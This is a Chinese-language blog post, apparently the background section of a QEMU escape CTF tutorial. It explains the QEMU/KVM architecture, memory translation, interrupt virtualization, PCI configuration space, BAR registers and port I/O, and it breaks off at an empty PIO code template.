qemu 逃逸

sky123

基础知识

QEMU 架构

在这里插入图片描述

QEMU 与 KVM 的完整架构整体上分为三大部分:

  • VMX root 模式的用户空间应用层(QEMU 进程)
  • VMX root 模式的内核空间(Linux KVM 驱动模块)
  • VMX non-root 模式的虚拟机运行环境(Guest 虚拟机)

其中,VMX root 和 VMX non-root 是 CPU 支持硬件虚拟化指令集(Intel 的 VT-x 技术)之后引入的两个模式:

  • VMX root 模式用于宿主机系统(即运行虚拟化软件的 Host),在该模式下可执行特权虚拟化指令,完整控制 CPU 虚拟化行为。
  • VMX non-root 模式用于运行客户机(即 Guest OS),Guest 在 non-root 模式下正常运行,绝大部分指令可直接由物理 CPU 执行。特殊敏感操作会导致 CPU 从 non-root 模式退出到 root 模式(VM-Exit),交由 KVM/QEMU 处理。

无论 VMX root 还是 VMX non-root 模式,都包含 ring 0 到 ring 3 共 4 个特权级别。

QEMU 进程

在 QEMU 与 KVM 虚拟化架构中,QEMU 进程位于 VMX root 模式的用户空间,承担如下任务:

  • 初始化虚拟机硬件环境

    • 创建虚拟芯片组(如 PCI 主桥、内存控制器)
    • 根据用户启动参数 (-device 等) 创建并初始化各类虚拟设备(如磁盘、网卡、显卡、输入设备)
    • 分配并管理来宾(Guest)物理内存空间,QEMU 将 Guest 的物理内存映射到宿主机进程虚拟地址空间中(使用 mmap 等系统调用)。
  • 设备模拟与 IO 请求处理
    在虚拟机运行期间,QEMU 主线程会使用事件循环机制(main loop)监听并处理多种事件:

    • 设备 IO 请求事件:当虚拟机对虚拟设备发起 IO 请求(PIO/MMIO)并触发 VM-Exit 后,KVM 会通过 ioctl 接口通知 QEMU 处理这些事件。
    • 管理命令事件:如用户通过 QEMU 的管理界面或 QMP(QEMU Machine Protocol)发送的命令。
    • 宿主机设备事件:如网络数据接收或宿主设备状态变化(例如 tap 网络设备的数据包到达),QEMU 会做出响应并模拟设备行为。

    对于虚拟机设备 IO 访问事件,QEMU 用户空间通过预先注册的 MemoryRegionOps 等设备模型回调函数完成 IO 请求处理,模拟真实硬件的行为(例如返回设备寄存器值、进行 DMA 操作、发起中断请求)。

  • CPU 线程管理
    QEMU 为每个虚拟 CPU (vCPU) 创建单独的宿主机线程,用于代表并调度虚拟机 CPU 的执行流。QEMU 借助 KVM 驱动控制 CPU 的虚拟化行为,使 vCPU 线程能够在宿主机的 CPU 上直接执行 Guest 代码。

虚拟机 (Guest) 环境

Guest OS 在 VMX non-root 模式下运行,有自己的应用层和内核层:

  • 对 Guest OS 而言,QEMU 和 KVM 完全透明,不需要对 Guest OS 做任何修改,就可以在虚拟机中正常运行。

  • Guest 虚拟机的每个 vCPU 对应宿主机中 QEMU 进程的一个线程。通过 KVM 和宿主 OS 调度,这些线程能直接在物理 CPU 上执行 Guest 代码。

  • Guest 虚拟机内存通过两层映射实现地址转换:

    • GVA→GPA(Guest 虚拟地址 → Guest 物理地址):由虚拟机自身 OS 页表管理。
    • GPA→HPA(Guest 物理地址 → Host 物理地址):由 KVM 驱动维护的 Extended Page Tables (EPT) 或 Shadow 页表完成。
  • Guest OS 中的设备通过 QEMU 呈现,Guest OS 在启动时进行设备枚举并加载相应的设备驱动程序。

  • Guest OS 运行中,通过 IO 端口 (PIO) 或内存映射 IO (MMIO) 与设备进行交互时,KVM 会截获这些敏感操作(VM-Exit)并将请求分发至 QEMU 用户空间,由 QEMU 负责处理这些设备请求。

KVM 内核驱动

KVM 驱动位于 VMX root 模式的 Linux 内核空间,以 misc 设备驱动形式 (/dev/kvm) 存在,提供如下功能:

  • 为用户空间提供虚拟化控制接口(通过 ioctl 接口):

    • QEMU 等用户程序通过 /dev/kvm 接口创建并控制虚拟机实例,包括:

      • 创建虚拟机 (KVM_CREATE_VM)
      • 创建 vCPU (KVM_CREATE_VCPU)
      • 设置 Guest 内存布局 (KVM_SET_USER_MEMORY_REGION)
      • 启动和调度 vCPU 执行 (KVM_RUN ioctl)
  • 处理虚拟机 VM-Exit 事件
    当 Guest 在 VMX non-root 模式下执行某些特殊指令或敏感操作时,会触发 VM-Exit,CPU 从 VMX non-root 模式退出到 VMX root 模式,KVM 接管控制权。KVM 在内核态解析退出原因 (vmexit_reason):

    • 对于常见的 MMIO/PIO 操作,KVM 通过 KVM_EXIT_MMIOKVM_EXIT_IO 等事件类型将请求发送到用户空间 QEMU 进程。
    • 对于部分性能敏感事件(如某些定时器、中断控制器或 virtio IO 请求),KVM 通过 ioeventfd 或 irqfd 机制高效通知用户空间或直接内核态处理,以减少 VM-Exit 次数。

QEMU 虚拟化

CPU 虚拟化

vCPU 创建与初始化

QEMU 为每个 vCPU 启动一个线程,使用 /dev/kvm 的 ioctl 建立虚拟机/虚拟 CPU:
KVM_CREATE_VM → KVM_CREATE_VCPU → mmap(KVM_RUN) → KVM_SET_REGS/SET_SREGS/SET_MSRS …
初始化完寄存器/CPUID/特性后进入主循环。

执行循环与 VM-Exit/Entry

vCPU 线程反复 ioctl(KVM_RUN) 进入来宾(VM-Entry)。当发生敏感事件/条件时硬件触发 VM-Exit 返回宿主:
典型原因:PIO、MMIO、CPUID/MSR 访问、HLT、外部中断窗口、EPT 缺页/权限、I/O 指令等。
KVM 将退出原因写入 struct kvm_run,QEMU读出后分发处理(设备回调、注入中断、继续运行等),随后再次 KVM_RUN(VM-Entry)。

简化伪码:

1
2
3
4
5
6
7
8
9
for (;;) {
ioctl(vcpu_fd, KVM_RUN);
switch (run->exit_reason) {
case KVM_EXIT_MMIO: qemu_mmio_dispatch(run->mmio); break;
case KVM_EXIT_IO: qemu_pio_dispatch(run->io); break;
case KVM_EXIT_HLT: /* idle / wait */ break;
/* … CPUID/MSR/INT_WINDOW/EPT_VIOLATION 等 … */
}
}

VMCS/VMCB

Intel VT-x 使用 VMCS 保存每个 vCPU 的来宾/宿主状态(AMD SVM 对应 VMCB)。这不是“像系统调用那样的内核栈切换”,而是硬件虚拟化态切换:VM-Entry/Exit 时由 CPU 在 VMCS/VMCB 与宿主状态之间来回装载。

内存虚拟化

1
2
3
4
5
6
Guest process         Guest kernel                      QEMU (userspace)               Host kernel (KVM)              DRAM
GVA ──►(guest PT)──► GPA ──►(EPT/NPT)──► HPA (HVA 仅用于用户态管理/拷贝)
│ │ ▲
│ └─MMIO(未映射/设备型)───┘ ← VM-Exit → QEMU MemoryRegionOps 回调

└─IOVA(可选, 有vIOMMU时)──►(vIOMMU映射)──►GPA───►(EPT/NPT)──►HPA

内存地址类别

  • GVA(Guest Virtual Address):来宾进程看到的虚拟地址,受来宾内核维护的页表(CR3 指向的页表根)管理。
  • GPA(Guest Physical Address):来宾眼中的“物理地址”,由来宾内核分配/管理,实际上只是一个客户机物理地址空间
  • HVA(Host Virtual Address):宿主机用户态(QEMU 进程)的虚拟地址,QEMU 用 mmap() 得到,用来承载来宾的“物理内存”数据
  • HPA(Host Physical Address):宿主机真实物理地址。

真正跑指令的“硬件级地址翻译”,根本不认识 HVA

CPU 在来宾里做访存时,只走这条链路:

GVA(来宾虚拟) →【来宾页表】→ GPA(来宾物理) →【EPT/NPT(二级页表)】→ HPA(宿主物理)

HVA(Host Virtual Address)只是QEMU 这个用户态进程里的指针,给 QEMU/KVM 在“管理阶段/缺页处理/用户态拷贝”用的,不在硬件翻译链路里

内存结构初始化

  1. QEMU 分配宿主用户态内存

    • 通过 mmap()(或基于 hugetlbfs 的文件、匿名内存、memfd 等后端)在 QEMU 进程地址空间中创建一段连续的 HVA 区域,作为“来宾物理内存”的承载。
  2. QEMU 维护 MemoryRegion/AddressSpace

    • QEMU 的 Memory API 将 RAM 区域与 I/O 区域抽象成 MemoryRegion,并组合成来宾的 GPA 地址空间布局。
  3. 告知 KVM:内存槽(memslot)

    • QEMU 通过 KVM_SET_USER_MEMORY_REGION ioctl 把若干段 GPA 区间与它们对应的 HVA 起始地址与大小注册到 KVM,形成 memslot
    • 一个 memslot 的关键信息包含:slot 编号、guest_phys_addr(GPA 起始)、memory_sizeuserspace_addr(HVA 起始)、flags(如脏页记录)。
    • memslot 数量有内核能力限制(KVM_CAP_NR_MEMSLOTS 暴露具体上限,一般为数百级),生产中通常合并为少量大区域,便于管理与迁移。
  4. 动态更新

    • QEMU 之后若调整内存布局(热插拔、I/O BAR 映射变化等),会再次调用 KVM_SET_USER_MEMORY_REGION 更新 memslot,KVM 以 SRCU 等机制保证并发安全。

内存地址转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
                        Guest' processes
+--------------------+
Virtual addr space | |
+--------------------+
| |
\__ Page Table \__
\ \
| | Guest kernel
+----+--------------------+----------------+
Guest's phy. memory | | | |
+----+--------------------+----------------+
| |
\__ \__
\ \
| QEMU process |
+----+------------------------------------------+
Virtual addr space | | |
+----+------------------------------------------+
| |
\__ Page Table \__
\ \
| |
+----+-----------------------------------------------++
Physical memory | | ||
+----+-----------------------------------------------++
  • 来宾页表:GVA → GPA

    • 由来宾 OS 自己维护(gCR3 指向的页表),机制与真机一致(4K/2M/1G 页、LA57、SMEP/SMAP 等)。
  • 二级页表(硬件/KVM):GPA → HPA

    • Intel:EPT,AMD:NPT。支持 4K/2M/1G 二级页,通常选 Write-Back 内存类型。
    • 当 GPA 首次触达或权限不满足时会发生 EPT/NPT violation(或缺页),触发 VM-Exit,KVM/内核再建立/修正映射后重新进入来宾。

来宾系统执行一条内存访问指令时,通常会有如下过程:

  1. 快路径:TLB 命中(硬件一步到位)

    当同一地址最近访问过、TLB 里已经有“合成后的”条目时,CPU 在来宾里执行:GVA ──TLB命中──► HPA → 直接读/写 DRAM

    • 这条 TLB 记录其实是“GVA→HPA 的组合结果”(包含了两段翻译的缓存),所以不需要再查页表,也不会 VM-Exit
    • HVA 完全没出现;硬件不认识它。
  2. 慢路径(第一次访问 / TLB 未命中)

    TLB miss 时,硬件要做“两段式翻译”。注意:连“读来宾页表本身”的每一步,也要经过 EPT/NPT

    1. 来宾页表把 GVA → GPA(仍在 VMX non-root,硬件完成)

      以 x86-64 四级页表为例(PML4→PDPT→PD→PT),硬件做:

      1. gCR3 得到来宾页表根(一个 GPA);
      2. 依次读 PML4E、PDPTE、PDE、PTE——这些表项都存放在“来宾物理内存”里,所以每次读表项(用到 GPA)又会通过下一步 EPT去取对应的 HPA
      3. 得到最终 GPA(或大页的 GPA)。

      如果某一级表项 不存在/权限不符,CPU在来宾内部触发 #PF(页错误),交给来宾内核处理(仍在 non-root,不会到 KVM,除非你特意设置拦截)。

    2. 二级页表把 GPA → HPA(需要则 VM-Exit)

      硬件用 VMCS/VMCB 里的 EPTP/NPT 做二级翻译:

      • 若 EPT 有可用映射(权限/类型允许),得到 HPA直接访问内存,然后把“GVA→HPA”的结果写回 TLB,后续就走快路径。

      • 若 EPT 没映射/权限不符/写保护(比如做脏页跟踪,或这块 GPA 其实是 MMIO),会触发 EPT/NPT violation
        VM-Exit 到 KVM,KVM 查看这个 GPA 属于哪一类区域:

        • RAM memslot:KVM 会用 HVA 定位到底层页get_user_pages() pin 出 PFN),建立/修正 EPT,然后 VM-Entry 继续执行;
        • MMIO/设备区域:KVM 不去建 EPT 映射,而是把这次访问包装成 KVM_EXIT_MMIO 交给 QEMU 的设备回调去处理(你题里的 qwb_mmio_* 就是这样被调用的)。

      至此你能看到:硬件真正访存只到 HPAHVA 只在 KVM 建/改 EPT 的那一刻被用作“找到那个物理页”的线索,和 QEMU 用户态做 memcpy() 时当作普通指针使用。

外设虚拟化

QEMU 里外设虚拟化的目标是:让 Guest 看到“像真的”设备,并在功能、性能、可迁移性之间取舍。控制面靠 PIO/MMIO,数据面靠 DMA;运行时遇到设备访问会 VM-Exit→QEMU(或快路径) 处理。

QEMU 外设虚拟化的实现方式主要有三种:

  • 纯模拟(QEMU device model):设备寄存器以 PIO/MMIO 暴露;每次访问 VM-exit → QEMU 回调处理。
  • 准虚拟(virtio 家族):以 virtqueue 共享环传数据,显著减少陷入;数据面可下沉到 vhost(内核)vhost-user(外部进程,如 DPDK/SPDK/virtiofsd),或用 vDPA 由硬件/内核直接跑。
  • 直通(VFIO,含 SR-IOV/VF):设备直接给 VM,用 IOMMU 做 DMA 隔离,性能接近裸机;

中断虚拟化

中断控制器

中断控制器主要有两种:

  • Intel 8259(PIC):传统单处理器时代的可编程中断控制器(通过 IRQ0–IRQ15)。
  • I/O APIC + LAPIC:SMP 时代的主流组合:
    • IOAPIC:芯片组侧把外设中断路由到 CPU 逻辑中断向量。
    • LAPIC:每个 vCPU 上的本地 APIC,负责接收/投递中断;x2APIC 模式用 MSR 代替 MMIO,访问更快、向量空间更大。

QEMU 支持既能用户态模拟 8259/IOAPIC/LAPIC,也能调用 KVM 的 in-kernel irqchip 在内核中模拟,以减少 VM-Exit。对应的命令行(x86):-machine kernel-irqchip=on|off|split

  • on:8259/IOAPIC/LAPIC 全部在内核模拟(性能最佳,推荐)。
  • off:全部由 QEMU 用户态模拟(易调试,性能最低)。
  • split:通常是 LAPIC 在内核、IOAPIC/PIC 在用户态,用于兼容/迁移场景(行为依平台/版本)。

中断类型

中断有三种类型的虚拟化:

类型 触发方式 经手的控制器 特性 适用
INTx 电平触发线(INTA~D),共享 IOAPIC → LAPIC(可能先过 PIC) 可能“黏线”,必须 EOI 撤线;易抖动 兼容保底
MSI 设备写一条内存消息(MSI addr/data) 直达 LAPIC 向量少,已优于 INTx 老驱动/设备
MSI‑X 同 MSI,但每队列独立条目 直达 LAPIC 多向量(队列一对一),最稳最快 强烈推荐(网/块多队列)
  • INTx,且 kernel-irqchip=off(全在 QEMU,最慢)
    1. Raise:QEMU 仿真设备调用 pci_set_irq(dev, level=1) 提出中断。
    2. Route:QEMU 修改虚拟 IOAPIC 的重定向表(目标 vCPU、触发方式、向量)。
    3. Deliver:QEMU 通过 KVM 的 ioctl 把中断注入到 vCPU(用户态切内核,再切到 vCPU)
    4. EOI:来宾在 LAPIC 写 EOI → VM‑Exit 到 QEMU → QEMU 更新 LAPIC/IOAPIC 状态 → 再回到 vCPU。
      ⇒ 每步都可能 VM‑Exit/用户态往返 → 性能最差
  • INTx,且 kernel-irqchip=on(全在内核,快很多)
    1. Raise
      • QEMU 仿真设备可以直接通过 irqfd 把一个 eventfd 绑到 GSI;设备一触发就把 eventfd 写 1。
      • KVM 内核 irqchip 收到 eventfd → 内核里更新 IOAPIC/PIC 状态。
    2. Route/Deliver内核查 IOAPIC 表,直接送到目标 vCPU/LAPIC。
    3. EOI:来宾写 LAPIC EOI → 内核里处理,不再退出到 QEMU。
      无需 QEMU 参与注入/EOI,延迟大幅降低
      (没有 irqfd 时,QEMU 也可以用 KVM_IRQ_LINE 注入,但仍比全用户态快)
  • MSI‑X + irqfd(virtio/vhost/VFIO 常用,最快)
    1. Raise:设备要发 MSI‑X,本质是一次写内存到“APIC 目标地址 + 数据”。

      • 仿真设备:QEMU可直接 kvm_irqchip_send_msi()KVM_SIGNAL_MSI)。
      • vhost/VFIO:把每个中断向量绑定一个 irqfd(eventfd)。后端或硬件触发这个 eventfd。
    2. Route/Deliver:KVM 内核根据 MSI 路由表(GSI routing)直接把中断送达目标 vCPU 的 LAPIC,不退出到 QEMU。

    3. EOI:来宾 LAPIC EOI 在内核处理(若硬件有 APICv/PI,还能进一步减少退出)。
      消息信号 + in‑kernel + irqfd常见最优路径

PCI 设备

PCI(Peripheral Component Interconnect)是一套“主机 ↔ 外设”的标准总线与软件模型。它经历了演进:

  • PCI(并行)PCI-X(并行/服务器) → PCIe(PCI Express,串行点到点)
  • 软件模型延续:都有配置空间(Configuration Space)BAR(Base Address Register)中断DMA等概念;PCIe 只是物理与链路层变了,并新增了很多能力(MSI-X、热插拔、错误报告、节能等)。

把主板想成一座城市:

  • CPU/Root Complex = 市政府
  • PCIe Root Port / 交换机(Switch) = 城市立交
  • 各类设备(网卡、显卡、NVMe、FPGA…) = 公司大楼(Endpoint)

开机后,政府(Root Complex)把所有大楼“接上光纤”(链路训练:速率/宽度握手),然后一栋栋盘点信息配置空间),分配门牌号BDF:Bus:Device.Function)和地盘BAR:一段可映射的地址),最后发工作许可(Bus Master)和电话分机(中断:MSI/MSI-X)。
之后:

  • 设备要读写内存,就自己“DMA去搬货”;
  • 干完活,它打分机(MSI-X)通知 CPU;
  • CPU 的驱动接电话,继续分派任务。

这就是“PCI 设备”在机器里的日常。

典型的 PCIe 拓扑

1
2
3
CPU / Root Complex
├─ Root Port 0 ──[Switch]── NVMe(0000:65:00.0)
└─ Root Port 1 ── GPU(0000:03:00.0)

每个功能都有个 BDF(域:总线:设备.功能),如 0000:65:00.0

在这里插入图片描述

BDF/DBDF 编址

BDF/DBDF 编址格式

每个 PCI 设备通过一段 BB:DD.F 格式的数据编址来表示。BDF 是“枚举顺序 + 桥的划分”决定的,加/拔设备、换插槽、BIOS 升级、桥/Root Port 重新枚举,都可能改变 Bus 号甚至设备号。但同一机器同一拓扑下,BDF 通常稳定。

  • BDFBB:DD.F

    • **Bus (BB,总线号)**:8 位 → 0..255(显示为 00..ff)

    • **Device (DD,设备号/插槽号)**:5 位 → 0..31(一个总线最多 32 个“设备号”)

    • **Function (F,功能号)**:3 位 → 0..7(同一设备号最多 8 个“功能”)

      一个 PCI 设备(同一个 DD最多有 8 个函数F=0..7),叫“多功能设备”:

      • 典型例子:PCH(南桥)下面的 00:1f.0 LPC00:1f.2 SATA00:1f.3 SMBus … 它们共享同一个设备号 1f,功能号不同。
      • 是否多功能由 Function 0 的 Header Type bit7 决定(1=多功能)。
      • 驱动加载时按 Function 维度匹配:每个 Function 都有独立的配置空间(Vendor/Device ID 也可能不同)。
  • DBDFDDDD:BB:DD.F

    • **Domain/Segment (DDDD,域)**:16 位 → 0..FFFF(通常为 0000;多根 PCIe Root Complex、复杂 NUMA/加速卡/直通场景时可能 >0)

例如:

  • 00:1f.2 = 总线 0、设备 31、功能 2;
  • 0000:65:00.0 = 域 0 的 65:00.0。

lspci 默认可能省略 0000:,用 -D 可强制显示域:lspci -D -s 65:00.0。其它常用命令如下:

  • 总是显示域号(Domain):

    1
    lspci -D -s 65:00.0
  • 看树:

    1
    lspci -tv
  • 看驱动/模块:

    1
    lspci -k -s 65:00.0     # "Kernel driver in use" / "Kernel modules"

BDF 与机器拓扑

PCIe 是“树形”拓扑:Root Complex → Root Port →(可选)Switch → Endpoint。用 lspci -t(或 -tv)可以看到设备树,比如:

1
2
3
4
-+-[0000:65]-+-00.0  (Root Port)
| \-00.1 (Root Port)
\-[0000:66]-+-00.0 (Switch Upstream)
\-[0000:67]-00.0 (你的网卡 67:00.0)

这里 67:00.067 就是被上面的桥划给它的子总线号

每一级“桥”(PCI-to-PCIe Bridge/Switch Port)在枚举时会配置三组“总线号寄存器”:

  • Primary Bus(桥自己所在的上游总线)
  • Secondary Bus(桥下游第一个子总线号)
  • Subordinate Bus(桥下游最大子总线号)

枚举时,固件/OS 会:

  1. 给桥分配 Secondary/Subordinate 的总线号区间
  2. 在该区间内为下挂的设备分配 **Device(0..31)**,并探测其 Function

因此 Bus 号取决于桥的划分Device/Function 再在该 Bus 内唯一。

DBDF 到文件系统的对应

sysfsprocfs 各有一套接口来映射 PCI 设备,它们不是同一个目录

  • sysfs(现代、推荐)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    /sys/bus/pci/devices/0000:65:00.0/
    ├── vendor / device / class # 身份字段
    ├── config # 配置空间(root可读写)
    ├── resource, resource0, resource1 # BAR 范围与映射
    ├── numa_node # NUMA 归属
    ├── driver -> ... # 当前绑定的内核驱动
    ├── msi_irqs/ # MSI/MSI-X 中断向量(如有)
    ├── iommu_group/ # IOMMU 组(直通/VFIO 关键)
    ├── physfn / virtfn*/ # SR-IOV PF/VF 关系(如有)
    └── remove / rescan / enable # 动态管理接口

    从下面三者任一入口访问,作用于同一个设备对象(因为就是同一个目录的不同“索引”)。

    • 物理/层次视图/sys/devices/pci0000:00/.../0000:BB:DD.F/真实设备节点
    • 总线视图/sys/bus/pci/devices/0000:BB:DD.F指向上面实体的符号链接
    • 类视图/sys/class/net/eth0/device/sys/class/drm/card0/device也指回实体
  • procfs(旧接口,可能不存在)

    这套接口不是 /sys/devices/... 的链接,导出的文件也不包含 sysfs 中的丰富属性(如 resource/driver/iommu_group/sriov_* 等)。

    • /proc/bus/pci/BB/DD.F:映出配置空间(许多系统只保证前 256B;部分内核导出到 4KiB)。
    • /proc/bus/pci/devices:所有设备的文本汇总(非结构化)。
    • 多域系统上可能出现额外的域层级(路径因内核不同而异)。

BDF 与配置空间访问

访问配置空间时,必须用 Bus/Device/Function/Offset 这四元组索引到目标 Function:

  • PCI 机制 #1(x86 经典 0xCF8/0xCFC)

    • 0xCF80x80000000 | (Bus<<16) | (Device<<11) | (Function<<8) | (Offset & ~3)
    • 0xCFC 读/写 32 位数据(或对 0xCFC+1/2/3 做 8/16 位)
  • PCIe ECAM(MMCONFIG)

    • 物理地址 = ECAM_BASE + (Bus<<20) + (Device<<15) + (Function<<12) + Offset
    • 每个 Function 对应 4KiB 的映射窗口(0x000..0xFFF)

也就是说,BDF 既是“名字”,也是访问坐标。Domain/Segment 由 ACPI MCFG 指定不同段的 ECAM 基址,不参与单个 PCIe 事务的 Requester ID(后者只有 Bus/Device/Function)。

配置空间

配置空间”(Configuration Space)本质上就是“设备芯片内部的一堆寄存器”,用于枚举/识别/配置设备。操作系统通过“配置访问通道”把读/写请求送到设备,设备把这些寄存器的内容返回。

配置空间结构

传统 PCI 的配置空间大小为 256 B;而 PCIe 在次基础上有额外的 4 KiB 扩展配置空间,配置空间结构如下:

在这里插入图片描述

  • 标准头(前 64B)常见字段:
    • Vendor ID / Device ID:识别厂商与设备;
    • Command(控制位):bit0 I/O Spacebit1 Memory Spacebit2 Bus Master(DMA 必须开)…
    • Status:错误/能力支持等状态位;
    • Class Code/Subclass/ProgIF:设备类别(网卡/存储/桥…);
    • Header Type:0=端点,1=桥,2=CardBus;
    • BAR0..BAR5:最多 6 个基址寄存器(Endpoint 类型);
    • Capabilities Pointer:指向“能力链表”(PM、MSI、MSI-X、PCIe Cap…)。
  • PCIe 扩展能力在 4 KiB 的扩展能力空间链表里(例如 AER、ACS、ARI、SR-IOV、ATS/PRI/PASID、L1 Substates…)。

配置空间查看

通过 lspci 命令 -s 参数指定 BDF 地址就可以查看对应设备的配置空间信息:

  • 只看某个设备(总线 65 的 00.0):

    1
    lspci -s 65:00.0 -vv
  • 看配置空间十六进制(前 256B 或 4KiB):

    1
    lspci -xxxx -s 65:00.0

上述信息本质上是通过 sysfs 文件系统的 PCI 设备接口下的 config 文件查看的:

1
sudo cat /sys/bus/pci/devices/0000:65:00.0/config | xxd

另外 procfs 文件系统的 PCI 设备接口也可以查看 配置空间:

1
sudo cat /proc/bus/pci/65/00.0 | xxd

BAR 寄存器

BAR(Base Address Register)= 基址寄存器

设备用它来声明“我需要一扇对外的地址窗口”(可以是 I/O 空间或内存空间),操作系统据此在系统的地址空间中为它划一块不冲突的地址段,再把基址写回 BAR。之后:

  • CPU 访问“基址 + 偏移”就能访问到设备寄存器/缓冲区(MMIO 或 PIO);
  • 设备内部的地址译码(decoder)看到这段地址,会把事务路由到对应的寄存器/存储阵列。

不同类型的 PCI 设备的 BAR 寄存器数量是不同的:

  • 端点(Header Type=0)最多有 BAR0..BAR5 共 6 个 BAR。

    • 0x10..0x24:BAR0..BAR5(每个占 4 字节);
    • 0x30:Expansion ROM Base Address(单独的“ROM BAR”,带 Enable 位)。
  • 桥设备(Header Type=1)只有 BAR0..BAR1 两个;其余空间用于桥窗口寄存器。

    • 桥自身只有 BAR0..BAR1 两个(常很小或未实现);

    • 重要的是桥窗口寄存器(不在 BAR,而在配置空间其他字段):

      • I/O Base/Limit:下游 I/O 端口范围;
      • Memory Base/Limit:下游非预取 MMIO 范围;
      • Prefetchable Memory Base/Limit(含 64 位上半):下游预取 MMIO 范围。

      这三组窗口让“上游地址”能透传到子总线的设备 BAR。OS/固件在枚举时会先分配 BAR,再设置桥窗口覆盖到它们。

BAR 寄存器结构

  • I/O BAR(端口 I/O,主要在 x86)
    • bit0=1 表示这是 I/O 空间(PIO)BAR;
    • bits[31:2] 保存 端口基址(低 2 位必须为 0,表示对齐);
  • Memory BAR(内存映射 I/O,MMIO)
    • bit0=0 表示 内存空间(MMIO)BAR;

    • bit2:1(Memory Type)

      • 00 = 32 位地址
      • 01 = 20 位地址(1MB 以下,极少见的历史遗留)
      • 10 = 64 位地址(占用两个连续 BAR 槽,低位在前,高位在后)
      • 11 = 保留
    • bit3(Prefetchable):1 表示这段内存可预取/可合并访问(适合显存/大缓冲区),0 表示非预取(寄存器/有副作用的读)。

    • **bits[31:4]**(或 64 位时的更高位):保存 MMIO 基址(低 4 位不用/属性)。

查看 BAR 寄存器

通过 lspci 命令我们可以查看 BAR 寄存器的状态。

1
2
3
lspci -vv -s 65:00.0
# Region 0: Memory at f7000000 (32-bit, non-prefetchable) [size=64K]
# Region 4: I/O ports at 1060 [size=32]

/sys/bus/pci/devices/0000:65:00.0/resource内核给这个 PCI 设备最终分配的所有“地址资源”的汇总表
它把“这个函数现在占了哪些地址段”一次性列出来:每行三列——起始地址、结束地址(包含)和标志位。这些行主要来源于 BAR0..BAR5(以及可选的 Expansion ROM) 的分配结果;若该设备是,还会包含桥窗口(I/O window、non-prefetchable MEM window、prefetchable MEM window)等。

resource 的每一行格式为:

1
<start_phys_addr> <end_phys_addr> <flags>
  • start / end:物理地址(十六进制),end 是包含端点

    • 尺寸 = end - start + 1
  • flags:内核的 IORESOURCE_* 位集合(十六进制,便于脚本判断类型),常见语义:

    • IORESOURCE_IO 0x00000100:I/O 端口资源
    • IORESOURCE_MEM 0x00000200:内存(MMIO)资源
    • IORESOURCE_PREFETCH 0x00002000prefetchable(常见于显存等)
    • IORESOURCE_MEM_64 0x00100000:64 位内存 BAR
    • IORESOURCE_WINDOW 0x00200000:桥转发的窗口(不直接是设备寄存器)
    • IORESOURCE_EXCLUSIVE 0x08000000:禁止用户态映射(安全/排他)
    • 还有 IORESOURCE_DISABLED/UNSET/BUSY… 等辅助位。

resource0…resourceN:同目录下的 resource0resource1… 是把每一行(尤其是 Memory BAR)单独“摊开”的节点:

  • Memory BAR 对应的 resourceX 可以 mmap(用户态调试常用),直接访问设备寄存器/窗口;
  • I/O BAR(端口 I/O) 的那几行不可 mmap(它不是内存),要用 in/out 指令。

通信方式

PIO(Port-I/O,端口 I/O)

PIO 是在 x86 体系特有的“I/O 端口地址空间”(和内存地址空间分离,最多 64K 端口)。设备采用 PIO 通信方式需要满足:

  • 设备的 I/O BAR(BAR 的最低位为 1)指示它使用 I/O 空间。
  • Command.bit0 = 1(I/O Space Enable) 后,访问 I/O 端口才有效。

/proc/ioports ⇒ “I/O 端口地址空间”的占用清单
这里列的是PIO 端口范围,通常是被驱动通过 request_region() 注册过的那部分(比如 0x3f8-0x3ff : serial0xcf8-0xcff : PCI conf1)。没被注册的端口段可能不会显示。

CPU 用 in/out 指令访问这些端口。

x86 的 IN/OUT 指令族采用 16 位端口号(I/O 地址空间 0..65535),数据宽度只有 8/16/32 位(没有 64 位)。

  • inb/outb ⇒ 8 位(AL
  • inw/outw ⇒ 16 位(AX
  • inl/outl ⇒ 32 位(EAX,在 x86-64 也用 32 位形式)

指令只允许“累加器”作为数据寄存器:读入到 AL/AX/EAX,或从 AL/AX/EAX 写出;端口在 DX 或 8 位立即数。

  • 端口号在 DXin al, dx / in ax, dx / in eax, dxout dx, al/ax/eax
  • 端口号是 8 位立即数(零扩展成 16 位):in al, imm8 / out imm8, al(常用于固定小端口,如 0x60

sys/io.h 提供相关函数封装:inb/inw/inl/outb/outw/outl(这些就是对 IN/OUT 的内联汇编封装)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <sys/io.h>

unsigned char inb(unsigned short port);
unsigned char inb_p(unsigned short port);
unsigned short inw(unsigned short port);
unsigned short inw_p(unsigned short port);
unsigned int inl(unsigned short port);
unsigned int inl_p(unsigned short port);

void outb(unsigned char value, unsigned short port);
void outb_p(unsigned char value, unsigned short port);
void outw(unsigned short value, unsigned short port);
void outw_p(unsigned short value, unsigned short port);
void outl(unsigned int value, unsigned short port);
void outl_p(unsigned int value, unsigned short port);

void insb(unsigned short port, void *addr,
unsigned long count);
void insw(unsigned short port, void *addr,
unsigned long count);
void insl(unsigned short port, void *addr,
unsigned long count);
void outsb(unsigned short port, const void *addr,
unsigned long count);
void outsw(unsigned short port, const void *addr,
unsigned long count);
void outsl(unsigned short port, const void *addr,
unsigned long count);

在 Linux 下,用户态线程默认不能执行 inb/outb/inw/outw/inl/outl 这类 I/O 指令。原因是 CPU 会检查调用线程有没有 I/O 端口访问权限;没有的话直接触发保护异常(程序崩掉)。

下面两个 api 都可以获取 I/O 访问权限,但是前提都需要 CAP_SYS_RAWIO 能力,即允许执行 ioperm/iopl 等原始 I/O 操作。

  • ioperm(base, len, 1)
    给“当前线程”的 I/O 位图里打开 [base, base+len) 这段端口范围,因此你就能对这段端口执行 in/out。需要 CAP_SYS_RAWIO 能力或 root。ioperm按端口范围细粒度授权的,现代内核支持到 65536 个端口。

  • iopl(3)
    把“当前线程”的 I/O 特权级提到 3,相当于对所有端口都有访问权。也需要 CAP_SYS_RAWIO。官方文档标注它已不推荐,比 ioperm 慢,主要为了老式 X 服务器遗留场景;而且在新内核(≥3.7)上它的继承行为与早期不同。

PIO 读写模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
